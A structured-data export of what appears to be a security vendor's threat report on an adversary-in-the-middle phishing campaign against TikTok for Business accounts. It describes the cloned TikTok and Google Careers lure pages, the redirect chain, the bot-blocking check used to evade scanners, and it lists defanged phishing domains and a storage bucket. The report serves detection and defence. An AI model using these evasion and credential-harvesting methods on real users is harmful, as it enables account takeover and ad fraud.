kits",{"items":68058},[68059],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":68060,"profilePicture":68061},[30152],{"url":7804},{"json":68063,"links":68637},{"data":68064,"content":68065,"nodeType":1382},{},[68066,68073,68093,68099,68102,68110,68117,68124,68131,68154,68161,68180,68187,68193,68201,68208,68214,68220,68226,68232,68238,68244,68250,68253,68261,68268,68275,68295,68340,68347,68389,68394,68397,68404,68420,68427,68539,68546,68559,68566,68569,68576,68583,68589,68625,68631],{"data":68067,"content":68068,"nodeType":866},{},[68069],{"data":68070,"marks":68071,"value":68072,"nodeType":865},{},[],"We recently detected and blocked a new style of phishing page targeting TikTok for Business accounts — used by company marketing teams to manage ad campaigns. ",{"data":68074,"content":68075,"nodeType":866},{},[68076,68080,68089],{"data":68077,"marks":68078,"value":68079,"nodeType":865},{},[],"On closer analysis, we identified a cluster of linked pages featuring both TikTok themes, and Google themed “Schedule a Call” imitation pages, ",{"data":68081,"content":68083,"nodeType":889},{"uri":68082},"https://sublime.security/blog/google-careers-impersonation-credential-phishing-scam-with-endless-variation/",[68084],{"data":68085,"marks":68086,"value":68088,"nodeType":865},{},[68087],{"type":943},"similar to a campaign reported late last year",{"data":68090,"marks":68091,"value":68092,"nodeType":865},{},[],", suggesting a continuity of this previous campaign.",{"data":68094,"content":68098,"nodeType":912},{"target":68095},{"sys":68096},{"id":68097,"type":909,"linkType":910},"6mR622LOKuhGRfBXkIsUrx",[],{"data":68100,"content":68101,"nodeType":972},{},[],{"data":68103,"content":68104,"nodeType":981},{},[68105],{"data":68106,"marks":68107,"value":68109,"nodeType":865},{},[68108],{"type":926},"Campaign breakdown",{"data":68111,"content":68112,"nodeType":866},{},[68113],{"data":68114,"marks":68115,"value":68116,"nodeType":865},{},[],"Push researchers have identified a cluster of newly registered phishing pages all registered on the 24th March within a 9-second window. All of the pages are hosted behind Cloudflare with the same registrar (Nicenic International Group, commonly abused for bulk phishing domain registration). ",{"data":68118,"content":68119,"nodeType":866},{},[68120],{"data":68121,"marks":68122,"value":68123,"nodeType":865},{},[],"The pages feature a common naming convention, being various derivations of welcome.careers*[.]com. A full list of identified domains is provided later, but we expect this to grow significantly as the campaign ramps up. ",{"data":68125,"content":68126,"nodeType":866},{},[68127],{"data":68128,"marks":68129,"value":68130,"nodeType":865},{},[],"Victims are tricked into clicking a malicious link that takes them to one of two page styles. ",{"data":68132,"content":68133,"nodeType":1616},{},[68134,68144],{"data":68135,"content":68136,"nodeType":1570},{},[68137],{"data":68138,"content":68139,"nodeType":866},{},[68140],{"data":68141,"marks":68142,"value":68143,"nodeType":865},{},[],"A TikTok for Business cloned page ",{"data":68145,"content":68146,"nodeType":1570},{},[68147],{"data":68148,"content":68149,"nodeType":866},{},[68150],{"data":68151,"marks":68152,"value":68153,"nodeType":865},{},[],"A Google careers “Schedule a call” cloned page",{"data":68155,"content":68156,"nodeType":866},{},[68157],{"data":68158,"marks":68159,"value":68160,"nodeType":865},{},[],"In both cases, the victim is required to complete a basic information form before being served with a malicious login page that is in fact fronting a reverse proxy AITM phishing kit. ",{"data":68162,"content":68163,"nodeType":866},{},[68164,68168,68176],{"data":68165,"marks":68166,"value":68167,"nodeType":865},{},[],"While Push has limited visibility of the initial delivery mechanism in this case, we can assume that a similar method of dynamically generated email is being used to the ",{"data":68169,"content":68170,"nodeType":889},{"uri":68082},[68171],{"data":68172,"marks":68173,"value":68175,"nodeType":865},{},[68174],{"type":943},"previously identified campaign",{"data":68177,"marks":68178,"value":68179,"nodeType":865},{},[]," reported by Sublime in October, featuring a similar Google Careers cloned page. ",{"data":68181,"content":68182,"nodeType":866},{},[68183],{"data":68184,"marks":68185,"value":68186,"nodeType":865},{},[],"You can see an example of the page load below. ",{"data":68188,"content":68192,"nodeType":912},{"target":68189},{"sys":68190},{"id":68191,"type":909,"linkType":910},"3wjGpMs3qJsZaar2LIlQbE",[],{"data":68194,"content":68195,"nodeType":1317},{},[68196],{"data":68197,"marks":68198,"value":68200,"nodeType":865},{},[68199],{"type":926},"Attack flow",{"data":68202,"content":68203,"nodeType":866},{},[68204],{"data":68205,"marks":68206,"value":68207,"nodeType":865},{},[],"When the link is first clicked, the page is silently redirected from a legitimate Google Storage site before loading the page. A Cloudflare Turnstile check is used to prevent security bots from analyzing the page, before loading either a TikTok or Google themed page. Progressing through the forms ultimately serves up an AITM phishing page.",{"data":68209,"content":68213,"nodeType":912},{"target":68210},{"sys":68211},{"id":68212,"type":909,"linkType":910},"5zoUeGW0zlC7u9vtHolskM",[],{"data":68215,"content":68219,"nodeType":912},{"target":68216},{"sys":68217},{"id":68218,"type":909,"linkType":910},"7eyc9v7xVZzXK8jY53I9li",[],{"data":68221,"content":68225,"nodeType":912},{"target":68222},{"sys":68223},{"id":68224,"type":909,"linkType":910},"37kj78jit44Mp6LCi7tEsC",[],{"data":68227,"content":68231,"nodeType":912},{"target":68228},{"sys":68229},{"id":68230,"type":909,"linkType":910},"4qaPOlBYeIfEoG2OZvl8lI",[],{"data":68233,"content":68237,"nodeType":912},{"target":68234},{"sys":68235},{"id":68236,"type":909,"linkType":910},"7cIFMDwHF2R8vswtJzWdKn",[],{"data":68239,"content":68243,"nodeType":912},{"target":68240},{"sys":68241},{"id":68242,"type":909,"linkType":910},"5YtrhvypdLkcSUoj2IEj24",[],{"data":68245,"content":68249,"nodeType":912},{"target":68246},{"sys":68247},{"id":68248,"type":909,"linkType":910},"7cc4UclvVVW3YuUVB8PpJp",[],{"data":68251,"content":68252,"nodeType":972},{},[],{"data":68254,"content":68255,"nodeType":981},{},[68256],{"data":68257,"marks":68258,"value":68260,"nodeType":865},{},[68259],{"type":926},"Why TikTok???",{"data":68262,"content":68263,"nodeType":866},{},[68264],{"data":68265,"marks":68266,"value":68267,"nodeType":865},{},[],"Given that the majority of phishing pages intercepted by Push tend to replicate core SSO platforms like Google and Microsoft, targeting TikTok is a notable development, though not entirely uncommon. ",{"data":68269,"content":68270,"nodeType":866},{},[68271],{"data":68272,"marks":68273,"value":68274,"nodeType":865},{},[],"TikTok seems a weird choice at first glance. But it makes more sense when we consider that TikTok has been historically abused to distribute malicious links and social engineering instructions. ",{"data":68276,"content":68277,"nodeType":866},{},[68278,68282,68291],{"data":68279,"marks":68280,"value":68281,"nodeType":865},{},[],"This includes multiple infostealers like Vidar, StealC, and Aura Stealer delivered via ClickFix-style instructions with AI-generated videos posed as activation guides for Windows, Spotify, and CapCut. They instructed viewers to open PowerShell and paste commands that downloaded infostealers from bulletproof hosting infrastructure. ",{"data":68283,"content":68285,"nodeType":889},{"uri":68284},"https://thehackernews.com/2025/05/hackers-use-tiktok-videos-to-distribute.html",[68286],{"data":68287,"marks":68288,"value":68290,"nodeType":865},{},[68289],{"type":943},"One video alone",{"data":68292,"marks":68293,"value":68294,"nodeType":865},{},[]," hit ~500,000 views and 20,000+ likes.",{"data":68296,"content":68297,"nodeType":866},{},[68298,68302,68311,68315,68324,68328,68336],{"data":68299,"marks":68300,"value":68301,"nodeType":865},{},[],"It’s also a common hunting ground for crypto scammers, like many other social platforms have historically been abused (most commonly Twitter/X). Many of these are done with the full knowledge and consent of “influencers”, but there are also overtly malicious examples such as ",{"data":68303,"content":68305,"nodeType":889},{"uri":68304},"https://www.bitdefender.com/en-us/blog/hotforsecurity/fake-elon-musk-crypto-giveaway-scam-campaigns-run-rampant-on-tiktok",[68306],{"data":68307,"marks":68308,"value":68310,"nodeType":865},{},[68309],{"type":943},"deepfaked videos of Elon Musk",{"data":68312,"marks":68313,"value":68314,"nodeType":865},{},[]," with overlaid AI-generated audio promoting fake exchanges. ",{"data":68316,"content":68318,"nodeType":889},{"uri":68317},"https://www.malwarebytes.com/blog/news/2025/10/tiktok-scam-sells-you-access-to-your-own-fake-money",[68319],{"data":68320,"marks":68321,"value":68323,"nodeType":865},{},[68322],{"type":943},"TikTok DMs",{"data":68325,"marks":68326,"value":68327,"nodeType":865},{},[],", like ",{"data":68329,"content":68330,"nodeType":889},{"uri":951},[68331],{"data":68332,"marks":68333,"value":68335,"nodeType":865},{},[68334],{"type":943},"other social media apps",{"data":68337,"marks":68338,"value":68339,"nodeType":865},{},[],", are also a place where attackers can target victims. ",{"data":68341,"content":68342,"nodeType":866},{},[68343],{"data":68344,"marks":68345,"value":68346,"nodeType":865},{},[],"Ultimately, it’s easy to see how access to verified and trustworthy business accounts on TikTok could be abused in the wrong hands. ",{"data":68348,"content":68349,"nodeType":866},{},[68350,68354,68362,68366,68374,68378,68386],{"data":68351,"marks":68352,"value":68353,"nodeType":865},{},[],"It’s worth pointing out too that many/most business users will opt to “log in with Google.” This means that anyone using Google to login to their TikTok account will effectively have both accounts used to distribute ads compromised in one go, opening up the typical ",{"data":68355,"content":68356,"nodeType":889},{"uri":5852},[68357],{"data":68358,"marks":68359,"value":68361,"nodeType":865},{},[68360],{"type":943},"Google Ad Manager exploitation playbook",{"data":68363,"marks":68364,"value":68365,"nodeType":865},{},[]," — as well as accessing any further apps accessible via SSO for data theft and extortion. This has become the standard MO for attackers, in campaigns such as the ",{"data":68367,"content":68368,"nodeType":889},{"uri":13013},[68369],{"data":68370,"marks":68371,"value":68373,"nodeType":865},{},[68372],{"type":943},"Scattered Lapsus$ Hunters AITM phishing",{"data":68375,"marks":68376,"value":68377,"nodeType":865},{},[]," spree earlier this year, and their ",{"data":68379,"content":68380,"nodeType":889},{"uri":8702},[68381],{"data":68382,"marks":68383,"value":68385,"nodeType":865},{},[68384],{"type":943},"recent spate of device code phishing attacks",{"data":68387,"marks":68388,"value":1615,"nodeType":865},{},[],{"data":68390,"content":68393,"nodeType":912},{"target":68391},{"sys":68392},{"id":41873,"type":909,"linkType":910},[],{"data":68395,"content":68396,"nodeType":972},{},[],{"data":68398,"content":68399,"nodeType":981},{},[68400],{"data":68401,"marks":68402,"value":67181,"nodeType":865},{},[68403],{"type":926},{"data":68405,"content":68406,"nodeType":866},{},[68407,68410,68417],{"data":68408,"marks":68409,"value":44799,"nodeType":865},{},[],{"data":68411,"content":68412,"nodeType":889},{"uri":38042},[68413],{"data":68414,"marks":68415,"value":38047,"nodeType":865},{},[68416],{"type":943},{"data":68418,"marks":68419,"value":67198,"nodeType":865},{},[],{"data":68421,"content":68422,"nodeType":866},{},[68423],{"data":68424,"marks":68425,"value":68426,"nodeType":865},{},[],"That said, the domains observed in the initial cluster were:",{"data":68428,"content":68429,"nodeType":1616},{},[68430,68440,68450,68460,68470,68480,68490,68500,68510,68520,68530],{"data":68431,"content":68432,"nodeType":1570},{},[68433],{"data":68434,"content":68435,"nodeType":866},{},[68436],{"data":68437,"marks":68438,"value":68439,"nodeType":865},{},[],"welcome.careerscrews[.]com",{"data":68441,"content":68442,"nodeType":1570},{},[68443],{"data":68444,"content":68445,"nodeType":866},{},[68446],{"data":68447,"marks":68448,"value":68449,"nodeType":865},{},[],"welcome.careerstaffer[.]com",{"data":68451,"content":68452,"nodeType":1570},{},[68453],{"data":68454,"content":68455,"nodeType":866},{},[68456],{"data":68457,"marks":68458,"value":68459,"nodeType":865},{},[],"welcome.careersworkflow[.]com",{"data":68461,"content":68462,"nodeType":1570},{},[68463],{"data":68464,"content":68465,"nodeType":866},{},[68466],{"data":68467,"marks":68468,"value":68469,"nodeType":865},{},[],"welcome.careerstransform[.]com",{"data":68471,"content":68472,"nodeType":1570},{},[68473],{"data":68474,"content":68475,"nodeType":866},{},[68476],{"data":68477,"marks":68478,"value":68479,"nodeType":865},{},[],"welcome.careersupskill[.]com",{"data":68481,"content":68482,"nodeType":1570},{},[68483],{"data":68484,"content":68485,"nodeType":866},{},[68486],{"data":68487,"marks":68488,"value":68489,"nodeType":865},{},[],"welcome.careerssuccess[.]com",{"data":68491,"content":68492,"nodeType":1570},{},[68493],{"data":68494,"content":68495,"nodeType":866},{},[68496],{"data":68497,"marks":68498,"value":68499,"nodeType":865},{},[],"welcome.careersstaffgrid[.]com",{"data":68501,"content":68502,"nodeType":1570},{},[68503],{"data":68504,"content":68505,"nodeType":866},{},[68506],{"data":68507,"marks":68508,"value":68509,"nodeType":865},{},[],"welcome.careersprogress[.]com",{"data":68511,"content":68512,"nodeType":1570},{},[68513],{"data":68514,"content":68515,"nodeType":866},{},[68516],{"data":68517,"marks":68518,"value":68519,"nodeType":865},{},[],"welcome.careersgrower[.]com",{"data":68521,"content":68522,"nodeType":1570},{},[68523],{"data":68524,"content":68525,"nodeType":866},{},[68526],{"data":68527,"marks":68528,"value":68529,"nodeType":865},{},[],"welcome.careersengage[.]com",{"data":68531,"content":68532,"nodeType":1570},{},[68533],{"data":68534,"content":68535,"nodeType":866},{},[68536],{"data":68537,"marks":68538,"value":68439,"nodeType":865},{},[],{"data":68540,"content":68541,"nodeType":866},{},[68542],{"data":68543,"marks":68544,"value":68545,"nodeType":865},{},[],"Since the pages are all hosted in a single Google Storage bucket, any linked pages/files should be considered to be malicious.",{"data":68547,"content":68548,"nodeType":1616},{},[68549],{"data":68550,"content":68551,"nodeType":1570},{},[68552],{"data":68553,"content":68554,"nodeType":866},{},[68555],{"data":68556,"marks":68557,"value":68558,"nodeType":865},{},[],"storage.googleapis[.]com/fiz2a4s014vt8q4l5i0m1m7b0gl/",{"data":68560,"content":68561,"nodeType":866},{},[68562],{"data":68563,"marks":68564,"value":37990,"nodeType":865},{},[68565],{"type":926},{"data":68567,"content":68568,"nodeType":972},{},[],{"data":68570,"content":68571,"nodeType":981},{},[68572],{"data":68573,"marks":68574,"value":41916,"nodeType":865},{},[68575],{"type":926},{"data":68577,"content":68578,"nodeType":866},{},[68579],{"data":68580,"marks":68581,"value":68582,"nodeType":865},{},[],"Regardless of the delivery channel, whether it's a phishing email, a malvertising lure, or a fake install page, all roads lead to a web page loaded in the user's browser, and that's where Push operates.",{"data":68584,"content":68585,"nodeType":866},{},[68586],{"data":68587,"marks":68588,"value":11365,"nodeType":865},{},[],{"data":68590,"content":68591,"nodeType":866},{},[68592,68595,68602,68605,68612,68615,68622],{"data":68593,"marks":68594,"value":11372,"nodeType":865},{},[],{"data":68596,"content":68597,"nodeType":889},{"uri":11375},[68598],{"data":68599,"marks":68600,"value":11381,"nodeType":865},{},[68601],{"type":943},{"data":68603,"marks":68604,"value":2717,"nodeType":865},{},[],{"data":68606,"content":68607,"nodeType":889},{"uri":11387},[68608],{"data":68609,"marks":68610,"value":11393,"nodeType":865},{},[68611],{"type":943},{"data":68613,"marks":68614,"value":11397,"nodeType":865},{},[],{"data":68616,"content":68617,"nodeType":889},{"uri":1372},[68618],{"data":68619,"marks":68620,"value":11405,"nodeType":865},{},[68621],{"type":943},{"data":68623,"marks":68624,"value":1615,"nodeType":865},{},[],{"data":68626,"content":68630,"nodeType":912},{"target":68627},{"sys":68628},{"id":68629,"type":909,"linkType":910},"7ccfmP2yXXmtC1R5BLmKYg",[],{"data":68632,"content":68633,"nodeType":866},{},[68634],{"data":68635,"marks":68636,"value":21,"nodeType":865},{},[],{"entries":68638},{"hyperlink":68639,"inline":68640,"block":68641},[],[],[68642,68680,68684,68691,68697,68703,68709,68715,68721,68726,68730],{"sys":68643,"__typename":5503,"content":68644,"name":68679,"title":59},{"id":68097},{"json":68645},{"data":68646,"content":68647,"nodeType":1382},{},[68648],{"data":68649,"content":68650,"nodeType":866},{},[68651,68655,68663,68667,68675],{"data":68652,"marks":68653,"value":68654,"nodeType":865},{},[],"We’ve ",{"data":68656,"content":68657,"nodeType":889},{"uri":37720},[68658],{"data":68659,"marks":68660,"value":68662,"nodeType":865},{},[68661],{"type":943},"reported extensively",{"data":68664,"marks":68665,"value":68666,"nodeType":865},{},[]," about malvertising scams in the past — particularly targeting Google Ad Manager accounts. Attackers take over Ad Manager accounts and use them to deploy even more malicious ads, harvesting account credentials via AITM phishing pages and ClickFix-style malware delivery (dropping infostealers and remote access tools). They also run ",{"data":68668,"content":68669,"nodeType":889},{"uri":5852},[68670],{"data":68671,"marks":68672,"value":68674,"nodeType":865},{},[68673],{"type":943},"ad fraud campaigns",{"data":68676,"marks":68677,"value":68678,"nodeType":865},{},[]," siphoning company ad budgets into their own pockets. ","Tiktok phishing insight box 1",{"sys":68681,"__typename":52243,"title":68682,"arcadeDemoUrl":68683,"playText":65395},{"id":68191},"Tiktok phishing demo","https://demo.arcade.software/i0NCDltufFhv8xouaTxr?embed",{"sys":68685,"__typename":1390,"title":68686,"caption":68686,"layoutMode":59,"file":68687},{"id":68212},"Push example detection timeline showing the initial redirect. In this example Push was configured to Monitor only mode, rather than Block mode.",{"url":68688,"width":68689,"height":68690},"https://images.ctfassets.net/y1cdw1ablpvd/5WAwawK6I0Ez56HE9icvO4/6ad8fedf0c6b72b29b1664ea854593be/image8.png",1802,954,{"sys":68692,"__typename":1390,"title":68693,"caption":68693,"layoutMode":59,"file":68694},{"id":68218},"Initial Cloudflare Turnstile bot check to block security bots from analyzing the page.",{"url":68695,"width":1402,"height":68696},"https://images.ctfassets.net/y1cdw1ablpvd/28rZywTFT0ro4dhWPCfwAJ/6a8342f9bb785db5ed8677939921645d/image6.png",1131,{"sys":68698,"__typename":1390,"title":68699,"caption":68699,"layoutMode":59,"file":68700},{"id":68224},"TikTok for Business themed page.",{"url":68701,"width":1402,"height":68702},"https://images.ctfassets.net/y1cdw1ablpvd/7uoSoE5xwXEBA3tCIOReTX/3e8b06e18097f8625f3edaa92ba770d1/image2.png",1142,{"sys":68704,"__typename":1390,"title":68705,"caption":68705,"layoutMode":59,"file":68706},{"id":68230},"Google Careers themed landing page.",{"url":68707,"width":1402,"height":68708},"https://images.ctfassets.net/y1cdw1ablpvd/5NQmzcYtnsqONZFMljk1Z8/354a8721f4c2195c1aa88b3258a073f1/image1.png",1213,{"sys":68710,"__typename":1390,"title":68711,"caption":68711,"layoutMode":59,"file":68712},{"id":68236},"TikTok for Business themed login page.  The fake page has replaced the “Log in with TikTok” button with “Log in with Google”. ",{"url":68713,"width":1402,"height":68714},"https://images.ctfassets.net/y1cdw1ablpvd/5rDbxr6ZkcbGv2f6opf6TE/c6997fa3fe50426dae17c6578e2c04f1/image4.png",1191,{"sys":68716,"__typename":1390,"title":68717,"caption":68717,"layoutMode":59,"file":68718},{"id":68242},"The TikTok login page has input validation that requires a business email address.",{"url":68719,"width":1402,"height":68720},"https://images.ctfassets.net/y1cdw1ablpvd/1ba6sQzfR3hjeQHyx8zjae/f588da1242c68ea03ee149d489ee272e/image7.png",1127,{"sys":68722,"__typename":1390,"title":68723,"caption":68723,"layoutMode":59,"file":68724},{"id":68248},"Cloned Google login page hosting an AITM phishing kit.",{"url":68725,"width":1402,"height":68702},"https://images.ctfassets.net/y1cdw1ablpvd/6aGrOKJBuwAPalVYgx4P9u/41a456ba585767c6af8637bab392cabf/image5.png",{"sys":68727,"__typename":1414,"type":1415,"ctaText":68728,"buttonLabel":68729,"buttonColour":1418,"buttonUrl":27},{"id":41873},"Learn about the browser attack techniques security teams must contend with in 2026","Get the Report",{"sys":68731,"__typename":1414,"type":1415,"ctaText":68732,"buttonLabel":68733,"buttonColour":1418,"buttonUrl":52},{"id":68629},"Get ahead of the latest browser attacks with our new webinar series, featuring guest experts John Hammond, Troy Hunt, Matt Johansen, and more!","Register Now",{"items":68735},[],{},"Business TikTok accounts targeted with AITM phishing kits","2026-03-26T00:00:00.000Z",{"items":68740},[68741,69569,70577],{"__typename":1429,"sys":68742,"content":68743,"title":53891,"synopsis":53892,"hashTags":59,"publishedDate":53893,"slug":53894,"tagsCollection":69559,"authorsCollection":69565},{"id":52948},{"json":68744},{"data":68745,"content":68746,"nodeType":1382},{},[68747,68753,68759,68765,68768,68775,68781,68787,68792,68798,68803,68819,68825,68835,68838,68845,68851,68864,68870,68880,68885,68888,68895,68902,68907,68915,68931,68939,68945,68953,68968,68976,68982,68990,69016,69024,69030,69038,69054,69059,69067,69073,69081,69114,69117,69124,69132,69148,69156,69162,69170,69196,69201,69209,69215,69220,69223,69230,69238,69244,69295,69300,69303,69310,69318,69324,69329,69332,69339,69345,69351,69411,69417,69472,69478,69481,69488,69494,69500,69505,69508,69515,69521,69527,69533],{"data":68748,"content":68749,"nodeType":866},{},[68750],{"data":68751,"marks":68752,"value":52959,"nodeType":865},{},[],{"data":68754,"content":68755,"nodeType":866},{},[68756],{"data":68757,"marks":68758,"value":52966,"nodeType":865},{},[],{"data":68760,"content":68761,"nodeType":866},{},[68762],{"data":68763,"marks":68764,"value":52973,"nodeType":865},{},[],{"data":68766,"content":68767,"nodeType":972},{},[],{"data":68769,"content":68770,"nodeType":981},{},[68771],{"data":68772,"marks":68773,"value":52984,"nodeType":865},{},[68774],{"type":926},{"data":68776,"content":68777,"nodeType":866},{},[68778],{"data":68779,"marks":68780,"value":52991,"nodeType":865},{},[],{"data":68782,"content":68783,"nodeType":866},{},[68784],{"data":68785,"marks":68786,"value":52998,"nodeType":865},{},[],{"data":68788,"content":68791,"nodeType":912},{"target":68789},{"sys":68790},{"id":53003,"type":909,"linkType":910},[],{"data":68793,"content":68794,"nodeType":866},{},[68795],{"data":68796,"marks":68797,"value":53011,"nodeType":865},{},[],{"data":68799,"content":68802,"nodeType":912},{"target":68800},{"sys":68801},{"id":53016,"type":909,"linkType":910},[],{"data":68804,"content":68805,"nodeType":866},{},[68806,68809,68816],{"data":68807,"marks":68808,"value":53024,"nodeType":865},{},[],{"data":68810,"content":68811,"nodeType":889},{"uri":15501},[68812],{"data":68813,"marks":68814,"value":53032,"nodeType":865},{},[68815],{"type":943},{"data":68817,"marks":68818,"value":53036,"nodeType":865},{},[],{"data":68820,"content":68821,"nodeType":866},{},[68822],{"data":68823,"marks":68824,"value":53043,"nodeType":865},{},[],{"data":68826,"content":68827,"nodeType":866},{},[68828,68831],{"data":68829,"marks":68830,"value":53050,"nodeType":865},{},[],{"data":68832,"marks":68833,"value":53055,"nodeType":865},{},[68834],{"type":926},{"data":68836,"content":68837,"nodeType":972},{},[],{"data":68839,"content":68840,"nodeType":981},{},[68841],{"data":68842,"marks":68843,"value":53066,"nodeType":865},{},[68844],{"type":926},{"data":68846,"content":68847,"nodeType":866},{},[68848],{"data":68849,"marks":68850,"value":53073,"nodeType":865},{},[],{"data":68852,"content":68853,"nodeType":866},{},[68854,68857,68861],{"data":68855,"marks":68856,"value":53080,"nodeType":865},{},[],{"data":68858,"marks":68859,"value":53085,"nodeType":865},{},[68860],{"type":926},{"data":68862,"marks":68863,"value":53089,"nodeType":865},{},[],{"data":68865,"content":68866,"nodeType":866},{},[68867],{"data":68868,"marks":68869,"value":53096,"nodeType":865},{},[],{"data":68871,"content":68872,"nodeType":866},{},[68873,68876],{"data":68874,"marks":68875,"value":53103,"nodeType":865},{},[],{"data":68877,"marks":68878,"value":53108,"nodeType":865},{},[68879],{"type":926},{"data":68881,"content":68884,"nodeType":912},{"target":68882},{"sys":68883},{"id":53113,"type":909,"linkType":910},[],{"data":68886,"content":68887,"nodeType":972},{},[],{"data":68889,"content":68890,"nodeType":981},{},[68891],{"data":68892,"marks":68893,"value":53125,"nodeType":865},{},[68894],{"type":926},{"data":68896,"content":68897,"nodeType":1317},{},[68898],{"data":68899,"marks":68900,"value":53133,"nodeType":865},{},[68901],{"type":926},{"data":68903,"content":68906,"nodeType":912},{"target":68904},{"sys":68905},{"id":53138,"type":909,"linkType":910},[],{"data":68908,"content":68909,"nodeType":866},{},[68910],{"data":68911,"marks":68912,"value":53148,"nodeType":865},{},[68913,68914],{"type":926},{"type":943},{"data":68916,"content":68917,"nodeType":866},{},[68918,68921,68928],{"data":68919,"marks":68920,"value":53155,"nodeType":865},{},[],{"data":68922,"content":68923,"nodeType":889},{"uri":53158},[68924],{"data":68925,"marks":68926,"value":53164,"nodeType":865},{},[68927],{"type":943},{"data":68929,"marks":68930,"value":53168,"nodeType":865},{},[],{"data":68932,"content":68933,"nodeType":866},{},[68934],{"data":68935,"marks":68936,"value":53177,"nodeType":865},{},[68937,68938],{"type":926},{"type":943},{"data":68940,"content":68941,"nodeType":866},{},[68942],{"data":68943,"marks":68944,"value":53184,"nodeType":865},{},[],{"data":68946,"content":68947,"nodeType":866},{},[68948],{"data":68949,"marks":68950,"value":53193,"nodeType":865},{},[68951,68952],{"type":926},{"type":943},{"data":68954,"content":68955,"nodeType":866},{},[68956,68959,68965],{"data":68957,"marks":68958,"value":53200,"nodeType":865},{},[],{"data":68960,"content":68961,"nodeType":889},{"uri":53203},[68962],{"data":68963,"marks":68964,"value":53208,"nodeType":865},{},[],{"data":68966,"marks":68967,"value":53212,"nodeType":865},{},[],{"data":68969,"content":68970,"nodeType":866},{},[68971],{"data":68972,"marks":68973,"value":53221,"nodeType":865},{},[68974,68975],{"type":926},{"type":943},{"data":68977,"content":68978,"nodeType":866},{},[68979],{"data":68980,"marks":68981,"value":53228,"nodeType":865},{},[],{"data":68983,"content":68984,"nodeType":866},{},[68985],{"data":68986,"marks":68987,"value":53237,"nodeType":865},{},[68988,68989],{"type":926},{"type":943},{"data":68991,"content":68992,"nodeType":866},{},[68993,68996,69003,69006,69013],{"data":68994,"marks":68995,"value":53244,"nodeType":865},{},[],{"data":68997,"content":68998,"nodeType":889},{"uri":3488},[68999],{"data":69000,"marks":69001,"value":53252,"nodeType":865},{},[69002],{"type":943},{"data":69004,"marks":69005,"value":53256,"nodeType":865},{},[],{"data":69007,"content":69008,"nodeType":889},{"uri":53259},[69009],{"data":69010,"marks":69011,"value":6715,"nodeType":865},{},[69012],{"type":943},{"data":69014,"marks":69015,"value":53268,"nodeType":865},{},[],{"data":69017,"content":69018,"nodeType":866},{},[69019],{"data":69020,"marks":69021,"value":53277,"nodeType":865},{},[69022,69023],{"type":926},{"type":943},{"data":69025,"content":69026,"nodeType":866},{},[69027],{"data":69028,"marks":69029,"value":53284,"nodeType":865},{},[],{"data":69031,"content":69032,"nodeType":866},{},[69033],{"data":69034,"marks":69035,"value":53293,"nodeType":865},{},[69036,69037],{"type":926},{"type":943},{"data":69039,"content":69040,"nodeType":866},{},[69041,69044,69051],{"data":69042,"marks":69043,"value":53300,"nodeType":865},{},[],{"data":69045,"content":69046,"nodeType":889},{"uri":53259},[69047],{"data":69048,"marks":69049,"value":6715,"nodeType":865},{},[69050],{"type":943},{"data":69052,"marks":69053,"value":53311,"nodeType":865},{},[],{"data":69055,"content":69058,"nodeType":912},{"target":69056},{"sys":69057},{"id":53316,"type":909,"linkType":910},[],{"data":69060,"content":69061,"nodeType":866},{},[69062],{"data":69063,"marks":69064,"value":53326,"nodeType":865},{},[69065,69066],{"type":926},{"type":943},{"data":69068,"content":69069,"nodeType":866},{},[69070],{"data":69071,"marks":69072,"value":53333,"nodeType":865},{},[],{"data":69074,"content":69075,"nodeType":866},{},[69076],{"data":69077,"marks":69078,"value":53342,"nodeType":865},{},[69079,69080],{"type":926},{"type":943},{"data":69082,"content":69083,"nodeType":866},{},[69084,69087,69093,69096,69102,69105,69111],{"data":69085,"marks":69086,"value":53349,"nodeType":865},{},[],{"data":69088,"content":69089,"nodeType":889},{"uri":53352},[69090],{"data":69091,"marks":69092,"value":53357,"nodeType":865},{},[],{"data":69094,"marks":69095,"value":4988,"nodeType":865},{},[],{"data":69097,"content":69098,"nodeType":889},{"uri":53363},[69099],{"data":69100,"marks":69101,"value":53368,"nodeType":865},{},[],{"data":69103,"marks":69104,"value":53372,"nodeType":865},{},[],{"data":69106,"content":69107,"nodeType":889},{"uri":13013},[69108],{"data":69109,"marks":69110,"value":53379,"nodeType":865},{},[],{"data":69112,"marks":69113,"value":53383,"nodeType":865},{},[],{"data":69115,"content":69116,"nodeType":972},{},[],{"data":69118,"content":69119,"nodeType":1317},{},[69120],{"data":69121,"marks":69122,"value":53394,"nodeType":865},{},[69123],{"type":926},{"data":69125,"content":69126,"nodeType":866},{},[69127],{"data":69128,"marks":69129,"value":53403,"nodeType":865},{},[69130,69131],{"type":926},{"type":943},{"data":69133,"content":69134,"nodeType":866},{},[69135,69138,69145],{"data":69136,"marks":69137,"value":53410,"nodeType":865},{},[],{"data":69139,"content":69140,"nodeType":889},{"uri":53413},[69141],{"data":69142,"marks":69143,"value":53419,"nodeType":865},{},[69144],{"type":943},{"data":69146,"marks":69147,"value":53423,"nodeType":865},{},[],{"data":69149,"content":69150,"nodeType":866},{},[69151],{"data":69152,"marks":69153,"value":53432,"nodeType":865},{},[69154,69155],{"type":926},{"type":943},{"data":69157,"content":69158,"nodeType":866},{},[69159],{"data":69160,"marks":69161,"value":53439,"nodeType":865},{},[],{"data":69163,"content":69164,"nodeType":866},{},[69165],{"data":69166,"marks":69167,"value":53448,"nodeType":865},{},[69168,69169],{"type":926},{"type":943},{"data":69171,"content":69172,"nodeType":866},{},[69173,69176,69183,69186,69193],{"data":69174,"marks":69175,"value":53455,"nodeType":865},{},[],{"data":69177,"content":69178,"nodeType":889},{"uri":53458},[69179],{"data":69180,"marks":69181,"value":53464,"nodeType":865},{},[69182],{"type":943},{"data":69184,"marks":69185,"value":53468,"nodeType":865},{},[],{"data":69187,"content":69188,"nodeType":889},{"uri":53471},[69189],{"data":69190,"marks":69191,"value":53477,"nodeType":865},{},[69192],{"type":943},{"data":69194,"marks":69195,"value":53481,"nodeType":865},{},[],{"data":69197,"content":69200,"nodeType":912},{"target":69198},{"sys":69199},{"id":53486,"type":909,"linkType":910},[],{"data":69202,"content":69203,"nodeType":866},{},[69204],{"data":69205,"marks":69206,"value":53496,"nodeType":865},{},[69207,69208],{"type":926},{"type":943},{"data":69210,"content":69211,"nodeType":866},{},[69212],{"data":69213,"marks":69214,"value":53503,"nodeType":865},{},[],{"data":69216,"content":69219,"nodeType":912},{"target":69217},{"sys":69218},{"id":53508,"type":909,"linkType":910},[],{"data":69221,"content":69222,"nodeType":972},{},[],{"data":69224,"content":69225,"nodeType":1317},{},[69226],{"data":69227,"marks":69228,"value":694,